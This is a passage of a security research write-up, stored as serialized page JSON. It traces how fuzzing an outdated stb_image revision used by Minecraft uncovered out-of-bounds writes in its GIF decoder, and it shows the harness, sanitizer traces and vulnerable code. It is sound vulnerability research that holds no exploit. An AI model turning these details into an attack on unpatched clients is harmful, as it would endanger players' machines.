new 0-day in this library looked relatively hard because it’s widely used and has been well-scrutinized at that point.",{"type":23,"tag":32,"props":149153,"children":149154},{},[149155,149157,149162,149164,149171],{"type":29,"value":149156},"Instead, we checked whether the version used by Minecraft was outdated - if so, previously reported bugs might apply. We inspected ",{"type":23,"tag":71,"props":149158,"children":149160},{"className":149159},[],[149161],{"type":29,"value":149104},{"type":29,"value":149163}," commits and checked whether those changes were present in the Minecraft executable. Eventually, we found that Minecraft was using a fairly old revision - some commit prior to ",{"type":23,"tag":181,"props":149165,"children":149168},{"href":149166,"rel":149167},"https://github.com/nothings/stb/commit/f1f077b2722f55e158cba020f0312ee2d13c463a",[185],[149169],{"type":29,"value":149170},"f1f077b2722f55e158cba020f0312ee2d13c463a",{"type":29,"value":312},{"type":23,"tag":32,"props":149173,"children":149174},{},[149175],{"type":29,"value":149176},"At the time, the commit was already 6 years old, while there were public reports for memory corruption bugs after it. We looked through the reported bugs but didn't find an interesting and applicable one, so we decided to run a simple fuzzing harness on this commit.",{"type":23,"tag":192,"props":149178,"children":149180},{"id":149179},"fuzzing",[149181],{"type":29,"value":149182},"Fuzzing",{"type":23,"tag":32,"props":149184,"children":149185},{},[149186,149188,149195],{"type":29,"value":149187},"The fuzzer consisted of a very simple ",{"type":23,"tag":181,"props":149189,"children":149192},{"href":149190,"rel":149191},"https://github.com/AFLplusplus/AFLplusplus",[185],[149193],{"type":29,"value":149194},"AFL++",{"type":29,"value":29048},{"type":23,"tag":220,"props":149197,"children":149199},{"code":149198,"language":2148,"meta":7,"className":18839,"style":7},"#define STB_IMAGE_IMPLEMENTATION\n#include \"./stb/stb_image.h\"\n\nint main(int argc, char **argv) {\n    int x, y, comp;\n    unsigned char *ret;\n\n    if (argc != 2) {\n        return 1;\n    }\n\n    ret = stbi_load(argv[1], &x, &y, &comp, 0);\n    if (ret == NULL) {\n        return 1;\n    }\n    \n    stbi_image_free(ret);\n\n    return 0;\n}\n",[149200],{"type":23,"tag":71,"props":149201,"children":149202},{"__ignoreMap":7},[149203,149216,149228,149235,149281,149293,149314,149321,149345,149360,149367,149374,149446,149470,149485,149492,149499,149512,149519,149534],{"type":23,"tag":230,"props":149204,"children":149205},{"class":232,"line":233},[149206,149211],{"type":23,"tag":230,"props":149207,"children":149208},{"style":866},[149209],{"type":29,"value":149210},"#define",{"type":23,"tag":230,"props":149212,"children":149213},{"style":294},[149214],{"type":29,"value":149215}," STB_IMAGE_IMPLEMENTATION\n",{"type":23,"tag":230,"props":149217,"children":149218},{"class":232,"line":243},[149219,149223],{"type":23,"tag":230,"props":149220,"children":149221},{"style":866},[149222],{"type":29,"value":92194},{"type":23,"tag":230,"props":149224,"children":149225},{"style":380},[149226],{"type":29,"value":149227}," \"./stb/stb_image.h\"\n",{"type":23,"tag":230,"props":149229,"children":149230},{"class":232,"line":252},[149231],{"type":23,"tag":230,"props":149232,"children":149233},{"emptyLinePlaceholder":18},[149234],{"type":29,"value":459},{"type":23,"tag":230,"props":149236,"children":149237},{"class":232,"line":280},[149238,149242,149246,149250,149254,149259,149263,149268,149272,149277],{"type":23,"tag":230,"props":149239,"children":149240},{"style":256},[149241],{"type":29,"value":21364},{"type":23,"tag":230,"props":149243,"children":149244},{"style":294},[149245],{"type":29,"value":92559},{"type":23,"tag":230,"props":149247,"children":149248},{"style":274},[149249],{"type":29,"value":302},{"type":23,"tag":230,"props":149251,"children":149252},{"style":256},[149253],{"type":29,"value":21364},{"type":23,"tag":230,"props":149255,"children":149256},{"style":262},[149257],{"type":29,"value":149258}," argc",{"type":23,"tag":230,"props":149260,"children":149261},{"style":274},[149262],{"type":29,"value":684},{"type":23,"tag":230,"props":149264,"children":149265},{"style":256},[149266],{"type":29,"value":149267},"char",{"type":23,"tag":230,"props":149269,"children":149270},{"style":268},[149271],{"type":29,"value":91660},{"type":23,"tag":230,"props":149273,"children":149274},{"style":262},[149275],{"type":29,"value":149276},"argv",{"type":23,"tag":230,"props":149278,"children":149279},{"style":274},[149280],{"type":29,"value":827},{"type":23,"tag":230,"props":149282,"children":149283},{"class":232,"line":334},[149284,149288],{"type":23,"tag":230,"props":149285,"children":149286},{"style":256},[149287],{"type":29,"value":21393},{"type":23,"tag":230,"props":149289,"children":149290},{"style":274},[149291],{"type":29,"value":149292}," x, y, comp;\n",{"type":23,"tag":230,"props":149294,"children":149295},{"class":232,"line":371},[149296,149301,149305,149309],{"type":23,"tag":230,"props":149297,"children":149298},{"style":256},[149299],{"type":29,"value":149300},"    unsigned",{"type":23,"tag":230,"props":149302,"children":149303},{"style":256},[149304],{"type":29,"value":60823},{"type":23,"tag":230,"props":149306,"children":149307},{"style":268},[149308],{"type":29,"value":12147},{"type":23,"tag":230,"props":149310,"children":149311},{"style":274},[149312],{"type":29,"value":149313},"ret;\n",{"type":23,"tag":230,"props":149315,"children":149316},{"class":232,"line":391},[149317],{"type":23,"tag":230,"props":149318,"children":149319},{"emptyLinePlaceholder":18},[149320],{"type":29,"value":459},{"type":23,"tag":230,"props":149322,"children":149323},{"class":232,"line":400},[149324,149328,149333,149337,149341],{"type":23,"tag":230,"props":149325,"children":149326},{"style":866},[149327],{"type":29,"value":1493},{"type":23,"tag":230,"props":149329,"children":149330},{"style":274},[149331],{"type":29,"value":149332}," (argc ",{"type":23,"tag":230,"props":149334,"children":149335},{"style":268},[149336],{"type":29,"value":18013},{"type":23,"tag":230,"props":149338,"children":149339},{"style":5149},[149340],{"type":29,"value":10269},{"type":23,"tag":230,"props":149342,"children":149343},{"style":274},[149344],{"type":29,"value":827},{"type":23,"tag":230,"props":149346,"children":149347},{"class":232,"line":444},[149348,149352,149356],{"type":23,"tag":230,"props":149349,"children":149350},{"style":866},[149351],{"type":29,"value":3554},{"type":23,"tag":230,"props":149353,"children":149354},{"style":5149},[149355],{"type":29,"value":6861},{"type":23,"tag":230,"props":149357,"children":149358},{"style":274},[149359],{"type":29,"value":511},{"type":23,"tag":230,"props":149361,"children":149362},{"class":232,"line":453},[149363],{"type":23,"tag":230,"props":149364,"children":149365},{"style":274},[149366],{"type":29,"value":1552},{"type":23,"tag":230,"props":149368,"children":149369},{"class":232,"line":462},[149370],{"type":23,"tag":230,"props":149371,"children":149372},{"emptyLinePlaceholder":18},[149373],{"type":29,"value":459},{"type":23,"tag":230,"props":149375,"children":149376},{"class":232,"line":471},[149377,149382,149386,149391,149395,149399,149403,149407,149411,149415,149420,149424,149429,149433,149438,149442],{"type":23,"tag":230,"props":149378,"children":149379},{"style":274},[149380],{"type":29,"value":149381},"    ret ",{"type":23,"tag":230,"props":149383,"children":149384},{"style":268},[149385],{"type":29,"value":863},{"type":23,"tag":230,"props":149387,"children":149388},{"style":294},[149389],{"type":29,"value":149390}," stbi_load",{"type":23,"tag":230,"props":149392,"children":149393},{"style":274},[149394],{"type":29,"value":302},{"type":23,"tag":230,"props":149396,"children":149397},{"style":262},[149398],{"type":29,"value":149276},{"type":23,"tag":230,"props":149400,"children":149401},{"style":274},[149402],{"type":29,"value":6069},{"type":23,"tag":230,"props":149404,"children":149405},{"style":5149},[149406],{"type":29,"value":6348},{"type":23,"tag":230,"props":149408,"children":149409},{"style":274},[149410],{"type":29,"value":25375},{"type":23,"tag":230,"props":149412,"children":149413},{"style":268},[149414],{"type":29,"value":5448},{"type":23,"tag":230,"props":149416,"children":149417},{"style":274},[149418],{"type":29,"value":149419},"x, ",{"type":23,"tag":230,"props":149421,"children":149422},{"style":268},[149423],{"type":29,"value":5448},{"type":23,"tag":230,"props":149425,"children":149426},{"style":274},[149427],{"type":29,"value":149428},"y, ",{"type":23,"tag":230,"props":149430,"children":149431},{"style":268},[149432],{"type":29,"value":5448},{"type":23,"tag":230,"props":149434,"children":149435},{"style":274},[149436],{"type":29,"value":149437},"comp, ",{"type":23,"tag":230,"props":149439,"children":149440},{"style":5149},[149441],{"type":29,"value":6358},{"type":23,"tag":230,"props":149443,"children":149444},{"style":274},[149445],{"type":29,"value":753},{"type":23,"tag":230,"props":149447,"children":149448},{"class":232,"line":500},[149449,149453,149458,149462,149466],{"type":23,"tag":230,"props":149450,"children":149451},{"style":866},[149452],{"type":29,"value":1493},{"type":23,"tag":230,"props":149454,"children":149455},{"style":274},[149456],{"type":29,"value":149457}," (ret ",{"type":23,"tag":230,"props":149459,"children":149460},{"style":268},[149461],{"type":29,"value":10911},{"type":23,"tag":230,"props":149463,"children":149464},{"style":256},[149465],{"type":29,"value":129549},{"type":23,"tag":230,"props":149467,"children":149468},{"style":274},[149469],{"type":29,"value":827},{"type":23,"tag":230,"props":149471,"children":149472},{"class":232,"line":514},[149473,149477,149481],{"type":23,"tag":230,"props":149474,"children":149475},{"style":866},[149476],{"type":29,"value":3554},{"type":23,"tag":230,"props":149478,"children":149479},{"style":5149},[149480],{"type":29,"value":6861},{"type":23,"tag":230,"props":149482,"children":149483},{"style":274},[149484],{"type":29,"value":511},{"type":23,"tag":230,"props":149486,"children":149487},{"class":232,"line":897},[149488],{"type":23,"tag":230,"props":149489,"children":149490},{"style":274},[149491],{"type":29,"value":1552},{"type":23,"tag":230,"props":149493,"children":149494},{"class":232,"line":960},[149495],{"type":23,"tag":230,"props":149496,"children":149497},{"style":274},[149498],{"type":29,"value":63561},{"type":23,"tag":230,"props":149500,"children":149501},{"class":232,"line":969},[149502,149507],{"type":23,"tag":230,"props":149503,"children":149504},{"style":294},[149505],{"type":29,"value":149506},"    stbi_image_free",{"type":23,"tag":230,"props":149508,"children":149509},{"style":274},[149510],{"type":29,"value":149511},"(ret);\n",{"type":23,"tag":230,"props":149513,"children":149514},{"class":232,"line":4526},[149515],{"type":23,"tag":230,"props":149516,"children":149517},{"emptyLinePlaceholder":18},[149518],{"type":29,"value":459},{"type":23,"tag":230,"props":149520,"children":149521},{"class":232,"line":4534},[149522,149526,149530],{"type":23,"tag":230,"props":149523,"children":149524},{"style":866},[149525],{"type":29,"value":4427},{"type":23,"tag":230,"props":149527,"children":149528},{"style":5149},[149529],{"type":29,"value":5386},{"type":23,"tag":230,"props":149531,"children":149532},{"style":274},[149533],{"type":29,"value":511},{"type":23,"tag":230,"props":149535,"children":149536},{"class":232,"line":4542},[149537],{"type":23,"tag":230,"props":149538,"children":149539},{"style":274},[149540],{"type":29,"value":975},{"type":23,"tag":32,"props":149542,"children":149543},{},[149544],{"type":29,"value":149545},"And soon after starting the fuzzer it found an interesting bug:",{"type":23,"tag":220,"props":149547,"children":149549},{"code":149548},"=================================================================\n==1087247==ERROR: AddressSanitizer: heap-buffer-overflow on address ...\nWRITE of size 1 at 0x52d000008800 thread T0\n    #0 0x655424309a49 in stbi__out_gif_code stb/stb_image.h:6233\n    #1 0x655424309888 in stbi__out_gif_code stb/stb_image.h:6227\n    #2 0x655424309888 in stbi__out_gif_code stb/stb_image.h:6227\n    [...]\n    #19 0x65542430a697 in stbi__process_gif_raster stb/stb_image.h:6326\n    #20 0x65542430b936 in stbi__gif_load_next stb/stb_image.h:6443\n    #21 0x65542430c90e in stbi__gif_load stb/stb_image.h:6573\n    #22 0x6554242fc0d4 in stbi__load_main stb/stb_image.h:989\n    #23 0x6554242fc927 in stbi__load_and_postprocess_8bit stb/stb_image.h:1088\n    #24 0x6554242fd34f in stbi_load_from_file stb/stb_image.h:1174\n    #25 0x6554242fd22c in stbi_load stb/stb_image.h:1164\n    [...]\n",[149550],{"type":23,"tag":71,"props":149551,"children":149552},{"__ignoreMap":7},[149553],{"type":29,"value":149548},{"type":23,"tag":192,"props":149555,"children":149557},{"id":149556},"investigating-the-finding",[149558],{"type":29,"value":149559},"Investigating the Finding",{"type":23,"tag":32,"props":149561,"children":149562},{},[149563,149565,149571,149572,149577],{"type":29,"value":149564},"The ASAN output shows that at line ",{"type":23,"tag":71,"props":149566,"children":149568},{"className":149567},[],[149569],{"type":29,"value":149570},"6233",{"type":29,"value":145071},{"type":23,"tag":71,"props":149573,"children":149575},{"className":149574},[],[149576],{"type":29,"value":149104},{"type":29,"value":149578}," an attempt was made to write a single byte out-of-bounds. Looking at the nearby source:",{"type":23,"tag":220,"props":149580,"children":149582},{"code":149581,"language":2148,"meta":7,"className":18839,"style":7},"static void stbi__out_gif_code(stbi__gif *g, stbi__uint16 code)\n{\n   stbi_uc *p, *c;\n   int idx; \n\n   [...]\n\n   if (g->cur_y >= g->max_y) return;\n\n   idx = g->cur_x + g->cur_y; \n   p = &g->out[idx];\n   g->history[idx / 4] = 1;          // OOB write\n",[149583],{"type":23,"tag":71,"props":149584,"children":149585},{"__ignoreMap":7},[149586,149628,149635,149661,149674,149681,149689,149696,149750,149757,149803,149836],{"type":23,"tag":230,"props":149587,"children":149588},{"class":232,"line":233},[149589,149593,149597,149602,149607,149611,149615,149620,149624],{"type":23,"tag":230,"props":149590,"children":149591},{"style":256},[149592],{"type":29,"value":52817},{"type":23,"tag":230,"props":149594,"children":149595},{"style":256},[149596],{"type":29,"value":52822},{"type":23,"tag":230,"props":149598,"children":149599},{"style":294},[149600],{"type":29,"value":149601}," stbi__out_gif_code",{"type":23,"tag":230,"props":149603,"children":149604},{"style":274},[149605],{"type":29,"value":149606},"(stbi__gif ",{"type":23,"tag":230,"props":149608,"children":149609},{"style":268},[149610],{"type":29,"value":6909},{"type":23,"tag":230,"props":149612,"children":149613},{"style":262},[149614],{"type":29,"value":111077},{"type":23,"tag":230,"props":149616,"children":149617},{"style":274},[149618],{"type":29,"value":149619},", stbi__uint16 ",{"type":23,"tag":230,"props":149621,"children":149622},{"style":262},[149623],{"type":29,"value":71},{"type":23,"tag":230,"props":149625,"children":149626},{"style":274},[149627],{"type":29,"value":4516},{"type":23,"tag":230,"props":149629,"children":149630},{"class":232,"line":243},[149631],{"type":23,"tag":230,"props":149632,"children":149633},{"style":274},[149634],{"type":29,"value":13211},{"type":23,"tag":230,"props":149636,"children":149637},{"class":232,"line":252},[149638,149643,149647,149652,149656],{"type":23,"tag":230,"props":149639,"children":149640},{"style":274},[149641],{"type":29,"value":149642},"   stbi_uc ",{"type":23,"tag":230,"props":149644,"children":149645},{"style":268},[149646],{"type":29,"value":6909},{"type":23,"tag":230,"props":149648,"children":149649},{"style":274},[149650],{"type":29,"value":149651},"p, ",{"type":23,"tag":230,"props":149653,"children":149654},{"style":268},[149655],{"type":29,"value":6909},{"type":23,"tag":230,"props":149657,"children":149658},{"style":274},[149659],{"type":29,"value":149660},"c;\n",{"type":23,"tag":230,"props":149662,"children":149663},{"class":232,"line":280},[149664,149669],{"type":23,"tag":230,"props":149665,"children":149666},{"style":256},[149667],{"type":29,"value":149668},"   int",{"type":23,"tag":230,"props":149670,"children":149671},{"style":274},[149672],{"type":29,"value":149673}," idx; \n",{"type":23,"tag":230,"props":149675,"children":149676},{"class":232,"line":334},[149677],{"type":23,"tag":230,"props":149678,"children":149679},{"emptyLinePlaceholder":18},[149680],{"type":29,"value":459},{"type":23,"tag":230,"props":149682,"children":149683},{"class":232,"line":371},[149684],{"type":23,"tag":230,"props":149685,"children":149686},{"style":274},[149687],{"type":29,"value":149688},"   [...]\n",{"type":23,"tag":230,"props":149690,"children":149691},{"class":232,"line":391},[149692],{"type":23,"tag":230,"props":149693,"children":149694},{"emptyLinePlaceholder":18},[149695],{"type":29,"value":459},{"type":23,"tag":230,"props":149697,"children":149698},{"class":232,"line":400},[149699,149703,149707,149711,149715,149720,149724,149729,149733,149738,149742,149746],{"type":23,"tag":230,"props":149700,"children":149701},{"style":866},[149702],{"type":29,"value":54417},{"type":23,"tag":230,"props":149704,"children":149705},{"style":274},[149706],{"type":29,"value":664},{"type":23,"tag":230,"props":149708,"children":149709},{"style":262},[149710],{"type":29,"value":111077},{"type":23,"tag":230,"props":149712,"children":149713},{"style":274},[149714],{"type":29,"value":16084},{"type":23,"tag":230,"props":149716,"children":149717},{"style":262},[149718],{"type":29,"value":149719},"cur_y",{"type":23,"tag":230,"props":149721,"children":149722},{"style":268},[149723],{"type":29,"value":10637},{"type":23,"tag":230,"props":149725,"children":149726},{"style":262},[149727],{"type":29,"value":149728}," g",{"type":23,"tag":230,"props":149730,"children":149731},{"style":274},[149732],{"type":29,"value":16084},{"type":23,"tag":230,"props":149734,"children":149735},{"style":262},[149736],{"type":29,"value":149737},"max_y",{"type":23,"tag":230,"props":149739,"children":149740},{"style":274},[149741],{"type":29,"value":703},{"type":23,"tag":230,"props":149743,"children":149744},{"style":866},[149745],{"type":29,"value":50229},{"type":23,"tag":230,"props":149747,"children":149748},{"style":274},[149749],{"type":29,"value":511},{"type":23,"tag":230,"props":149751,"children":149752},{"class":232,"line":444},[149753],{"type":23,"tag":230,"props":149754,"children":149755},{"emptyLinePlaceholder":18},[149756],{"type":29,"value":459},{"type":23,"tag":230,"props":149758,"children":149759},{"class":232,"line":453},[149760,149765,149769,149773,149777,149782,149786,149790,149794,149798],{"type":23,"tag":230,"props":149761,"children":149762},{"style":274},[149763],{"type":29,"value":149764},"   idx ",{"type":23,"tag":230,"props":149766,"children":149767},{"style":268},[149768],{"type":29,"value":863},{"type":23,"tag":230,"props":149770,"children":149771},{"style":262},[149772],{"type":29,"value":149728},{"type":23,"tag":230,"props":149774,"children":149775},{"style":274},[149776],{"type":29,"value":16084},{"type":23,"tag":230,"props":149778,"children":149779},{"style":262},[149780],{"type":29,"value":149781},"cur_x",{"type":23,"tag":230,"props":149783,"children":149784},{"style":268},[149785],{"type":29,"value":11238},{"type":23,"tag":230,"props":149787,"children":149788},{"style":262},[149789],{"type":29,"value":149728},{"type":23,"tag":230,"props":149791,"children":149792},{"style":274},[149793],{"type":29,"value":16084},{"type":23,"tag":230,"props":149795,"children":149796},{"style":262},[149797],{"type":29,"value":149719},{"type":23,"tag":230,"props":149799,"children":149800},{"style":274},[149801],{"type":29,"value":149802},"; \n",{"type":23,"tag":230,"props":149804,"children":149805},{"class":232,"line":462},[149806,149811,149815,149819,149823,149827,149831],{"type":23,"tag":230,"props":149807,"children":149808},{"style":274},[149809],{"type":29,"value":149810},"   p ",{"type":23,"tag":230,"props":149812,"children":149813},{"style":268},[149814],{"type":29,"value":863},{"type":23,"tag":230,"props":149816,"children":149817},{"style":268},[149818],{"type":29,"value":9477},{"type":23,"tag":230,"props":149820,"children":149821},{"style":262},[149822],{"type":29,"value":111077},{"type":23,"tag":230,"props":149824,"children":149825},{"style":274},[149826],{"type":29,"value":16084},{"type":23,"tag":230,"props":149828,"children":149829},{"style":262},[149830],{"type":29,"value":120500},{"type":23,"tag":230,"props":149832,"children":149833},{"style":274},[149834],{"type":29,"value":149835},"[idx];\n",{"type":23,"tag":230,"props":149837,"children":149838},{"class":232,"line":471},[149839,149844,149848,149853,149858,149862,149866,149870,149874,149878,149882],{"type":23,"tag":230,"props":149840,"children":149841},{"style":262},[149842],{"type":29,"value":149843},"   g",{"type":23,"tag":230,"props":149845,"children":149846},{"style":274},[149847],{"type":29,"value":16084},{"type":23,"tag":230,"props":149849,"children":149850},{"style":262},[149851],{"type":29,"value":149852},"history",{"type":23,"tag":230,"props":149854,"children":149855},{"style":274},[149856],{"type":29,"value":149857},"[idx ",{"type":23,"tag":230,"props":149859,"children":149860},{"style":268},[149861],{"type":29,"value":6919},{"type":23,"tag":230,"props":149863,"children":149864},{"style":5149},[149865],{"type":29,"value":14076},{"type":23,"tag":230,"props":149867,"children":149868},{"style":274},[149869],{"type":29,"value":10997},{"type":23,"tag":230,"props":149871,"children":149872},{"style":268},[149873],{"type":29,"value":863},{"type":23,"tag":230,"props":149875,"children":149876},{"style":5149},[149877],{"type":29,"value":6861},{"type":23,"tag":230,"props":149879,"children":149880},{"style":274},[149881],{"type":29,"value":50846},{"type":23,"tag":230,"props":149883,"children":149884},{"style":237},[149885],{"type":29,"value":149886},"          // OOB write\n",{"type":23,"tag":32,"props":149888,"children":149889},{},[149890,149892,149897,149899,149905,149907,149913],{"type":29,"value":149891},"It’s reasonable to assume ",{"type":23,"tag":71,"props":149893,"children":149895},{"className":149894},[],[149896],{"type":29,"value":78296},{"type":29,"value":149898}," is outside the bounds of ",{"type":23,"tag":71,"props":149900,"children":149902},{"className":149901},[],[149903],{"type":29,"value":149904},"g->history",{"type":29,"value":149906},", which leads to a one-byte OOB write (",{"type":23,"tag":71,"props":149908,"children":149910},{"className":149909},[],[149911],{"type":29,"value":149912},"g->history[idx / 4] = 1",{"type":29,"value":149914},"). That single-byte OOB is hard to exploit remotely, but it was the only corruption observed initially, so we investigated further.",{"type":23,"tag":32,"props":149916,"children":149917},{},[149918,149920,149925,149927,149933,149935,149940,149942,149948,149950,149956],{"type":29,"value":149919},"Because ",{"type":23,"tag":71,"props":149921,"children":149923},{"className":149922},[],[149924],{"type":29,"value":32},{"type":29,"value":149926}," is computed from ",{"type":23,"tag":71,"props":149928,"children":149930},{"className":149929},[],[149931],{"type":29,"value":149932},"g->out[idx]",{"type":29,"value":149934}," immediately before the violation, we considered whether ",{"type":23,"tag":71,"props":149936,"children":149938},{"className":149937},[],[149939],{"type":29,"value":78296},{"type":29,"value":149941}," could also be OOB for ",{"type":23,"tag":71,"props":149943,"children":149945},{"className":149944},[],[149946],{"type":29,"value":149947},"g->out",{"type":29,"value":149949},". Note that computing the address ",{"type":23,"tag":71,"props":149951,"children":149953},{"className":149952},[],[149954],{"type":29,"value":149955},"&g->out[idx]",{"type":29,"value":149957}," does not itself access the memory, so ASAN wouldn’t flag it.",{"type":23,"tag":32,"props":149959,"children":149960},{},[149961,149963,149968],{"type":29,"value":149962},"If we comment out ",{"type":23,"tag":71,"props":149964,"children":149966},{"className":149965},[],[149967],{"type":29,"value":149912},{"type":29,"value":149969}," and re-run the fuzzing input, ASAN reports another violation in the same function at a different line:",{"type":23,"tag":220,"props":149971,"children":149973},{"code":149972},"=================================================================\n==8578==ERROR: AddressSanitizer: heap-buffer-overflow on address ...\nWRITE of size 1 at 0x7f0fe6e6c800 thread T0\n    #0 0x5d54e32a4315 in stbi__out_gif_code stb/stb_image.h:6237\n    [...]\n",[149974],{"type":23,"tag":71,"props":149975,"children":149976},{"__ignoreMap":7},[149977],{"type":29,"value":149972},{"type":23,"tag":32,"props":149979,"children":149980},{},[149981],{"type":29,"value":149982},"This corresponds to:",{"type":23,"tag":220,"props":149984,"children":149986},{"code":149985,"language":2148,"meta":7,"className":18839,"style":7},"static void stbi__out_gif_code(stbi__gif *g, stbi__uint16 code)\n{\n   [...]\n\n   idx = g->cur_x + g->cur_y; \n   p = &g->out[idx];\n   g->history[idx / 4] = 1;  \n\n   c = &g->color_table[g->codes[code].suffix * 4];\n   if (c[3] > 128) {\n      p[0] = c[2];        // OOB write\n      p[1] = c[1];\n      p[2] = c[0];\n      p[3] = c[3];\n   }\n",[149987],{"type":23,"tag":71,"props":149988,"children":149989},{"__ignoreMap":7},[149990,150029,150036,150043,150050,150093,150124,150168,150175,150243,150283,150328,150367,150406,150445],{"type":23,"tag":230,"props":149991,"children":149992},{"class":232,"line":233},[149993,149997,150001,150005,150009,150013,150017,150021,150025],{"type":23,"tag":230,"props":149994,"children":149995},{"style":256},[149996],{"type":29,"value":52817},{"type":23,"tag":230,"props":149998,"children":149999},{"style":256},[150000],{"type":29,"value":52822},{"type":23,"tag":230,"props":150002,"children":150003},{"style":294},[150004],{"type":29,"value":149601},{"type":23,"tag":230,"props":150006,"children":150007},{"style":274},[150008],{"type":29,"value":149606},{"type":23,"tag":230,"props":150010,"children":150011},{"style":268},[150012],{"type":29,"value":6909},{"type":23,"tag":230,"props":150014,"children":150015},{"style":262},[150016],{"type":29,"value":111077},{"type":23,"tag":230,"props":150018,"children":150019},{"style":274},[150020],{"type":29,"value":149619},{"type":23,"tag":230,"props":150022,"children":150023},{"style":262},[150024],{"type":29,"value":71},{"type":23,"tag":230,"props":150026,"children":150027},{"style":274},[150028],{"type":29,"value":4516},{"type":23,"tag":230,"props":150030,"children":150031},{"class":232,"line":243},[150032],{"type":23,"tag":230,"props":150033,"children":150034},{"style":274},[150035],{"type":29,"value":13211},{"type":23,"tag":230,"props":150037,"children":150038},{"class":232,"line":252},[150039],{"type":23,"tag":230,"props":150040,"children":150041},{"style":274},[150042],{"type":29,"value":149688},{"type":23,"tag":230,"props":150044,"children":150045},{"class":232,"line":280},[150046],{"type":23,"tag":230,"props":150047,"children":150048},{"emptyLinePlaceholder":18},[150049],{"type":29,"value":459},{"type":23,"tag":230,"props":150051,"children":150052},{"class":232,"line":334},[150053,150057,150061,150065,150069,150073,150077,150081,150085,150089],{"type":23,"tag":230,"props":150054,"children":150055},{"style":274},[150056],{"type":29,"value":149764},{"type":23,"tag":230,"props":150058,"children":150059},{"style":268},[150060],{"type":29,"value":863},{"type":23,"tag":230,"props":150062,"children":150063},{"style":262},[150064],{"type":29,"value":149728},{"type":23,"tag":230,"props":150066,"children":150067},{"style":274},[150068],{"type":29,"value":16084},{"type":23,"tag":230,"props":150070,"children":150071},{"style":262},[150072],{"type":29,"value":149781},{"type":23,"tag":230,"props":150074,"children":150075},{"style":268},[150076],{"type":29,"value":11238},{"type":23,"tag":230,"props":150078,"children":150079},{"style":262},[150080],{"type":29,"value":149728},{"type":23,"tag":230,"props":150082,"children":150083},{"style":274},[150084],{"type":29,"value":16084},{"type":23,"tag":230,"props":150086,"children":150087},{"style":262},[150088],{"type":29,"value":149719},{"type":23,"tag":230,"props":150090,"children":150091},{"style":274},[150092],{"type":29,"value":149802},{"type":23,"tag":230,"props":150094,"children":150095},{"class":232,"line":371},[150096,150100,150104,150108,150112,150116,150120],{"type":23,"tag":230,"props":150097,"children":150098},{"style":274},[150099],{"type":29,"value":149810},{"type":23,"tag":230,"props":150101,"children":150102},{"style":268},[150103],{"type":29,"value":863},{"type":23,"tag":230,"props":150105,"children":150106},{"style":268},[150107],{"type":29,"value":9477},{"type":23,"tag":230,"props":150109,"children":150110},{"style":262},[150111],{"type":29,"value":111077},{"type":23,"tag":230,"props":150113,"children":150114},{"style":274},[150115],{"type":29,"value":16084},{"type":23,"tag":230,"props":150117,"children":150118},{"style":262},[150119],{"type":29,"value":120500},{"type":23,"tag":230,"props":150121,"children":150122},{"style":274},[150123],{"type":29,"value":149835},{"type":23,"tag":230,"props":150125,"children":150126},{"class":232,"line":391},[150127,150131,150135,150139,150143,150147,150151,150155,150159,150163],{"type":23,"tag":230,"props":150128,"children":150129},{"style":262},[150130],{"type":29,"value":149843},{"type":23,"tag":230,"props":150132,"children":150133},{"style":274},[150134],{"type":29,"value":16084},{"type":23,"tag":230,"props":150136,"children":150137},{"style":262},[150138],{"type":29,"value":149852},{"type":23,"tag":230,"props":150140,"children":150141},{"style":274},[150142],{"type":29,"value":149857},{"type":23,"tag":230,"props":150144,"children":150145},{"style":268},[150146],{"type":29,"value":6919},{"type":23,"tag":230,"props":150148,"children":150149},{"style":5149},[150150],{"type":29,"value":14076},{"type":23,"tag":230,"props":150152,"children":150153},{"style":274},[150154],{"type":29,"value":10997},{"type":23,"tag":230,"props":150156,"children":150157},{"style":268},[150158],{"type":29,"value":863},{"type":23,"tag":230,"props":150160,"children":150161},{"style":5149},[150162],{"type":29,"value":6861},{"type":23,"tag":230,"props":150164,"children":150165},{"style":274},[150166],{"type":29,"value":150167},";  \n",{"type":23,"tag":230,"props":150169,"children":150170},{"class":232,"line":400},[150171],{"type":23,"tag":230,"props":150172,"children":150173},{"emptyLinePlaceholder":18},[150174],{"type":29,"value":459},{"type":23,"tag":230,"props":150176,"children":150177},{"class":232,"line":444},[150178,150183,150187,150191,150195,150199,150204,150208,150212,150216,150221,150226,150231,150235,150239],{"type":23,"tag":230,"props":150179,"children":150180},{"style":274},[150181],{"type":29,"value":150182},"   c ",{"type":23,"tag":230,"props":150184,"children":150185},{"style":268},[150186],{"type":29,"value":863},{"type":23,"tag":230,"props":150188,"children":150189},{"style":268},[150190],{"type":29,"value":9477},{"type":23,"tag":230,"props":150192,"children":150193},{"style":262},[150194],{"type":29,"value":111077},{"type":23,"tag":230,"props":150196,"children":150197},{"style":274},[150198],{"type":29,"value":16084},{"type":23,"tag":230,"props":150200,"children":150201},{"style":262},[150202],{"type":29,"value":150203},"color_table",{"type":23,"tag":230,"props":150205,"children":150206},{"style":274},[150207],{"type":29,"value":6069},{"type":23,"tag":230,"props":150209,"children":150210},{"style":262},[150211],{"type":29,"value":111077},{"type":23,"tag":230,"props":150213,"children":150214},{"style":274},[150215],{"type":29,"value":16084},{"type":23,"tag":230,"props":150217,"children":150218},{"style":262},[150219],{"type":29,"value":150220},"codes",{"type":23,"tag":230,"props":150222,"children":150223},{"style":274},[150224],{"type":29,"value":150225},"[code].",{"type":23,"tag":230,"props":150227,"children":150228},{"style":262},[150229],{"type":29,"value":150230},"suffix",{"type":23,"tag":230,"props":150232,"children":150233},{"style":268},[150234],{"type":29,"value":12147},{"type":23,"tag":230,"props":150236,"children":150237},{"style":5149},[150238],{"type":29,"value":14076},{"type":23,"tag":230,"props":150240,"children":150241},{"style":274},[150242],{"type":29,"value":33871},{"type":23,"tag":230,"props":150244,"children":150245},{"class":232,"line":453},[150246,150250,150254,150258,150262,150266,150270,150274,150279],{"type":23,"tag":230,"props":150247,"children":150248},{"style":866},[150249],{"type":29,"value":54417},{"type":23,"tag":230,"props":150251,"children":150252},{"style":274},[150253],{"type":29,"value":664},{"type":23,"tag":230,"props":150255,"children":150256},{"style":262},[150257],{"type":29,"value":2148},{"type":23,"tag":230,"props":150259,"children":150260},{"style":274},[150261],{"type":29,"value":6069},{"type":23,"tag":230,"props":150263,"children":150264},{"style":5149},[150265],{"type":29,"value":19616},{"type":23,"tag":230,"props":150267,"children":150268},{"style":274},[150269],{"type":29,"value":10997},{"type":23,"tag":230,"props":150271,"children":150272},{"style":268},[150273],{"type":29,"value":12792},{"type":23,"tag":230,"props":150275,"children":150276},{"style":5149},[150277],{"type":29,"value":150278}," 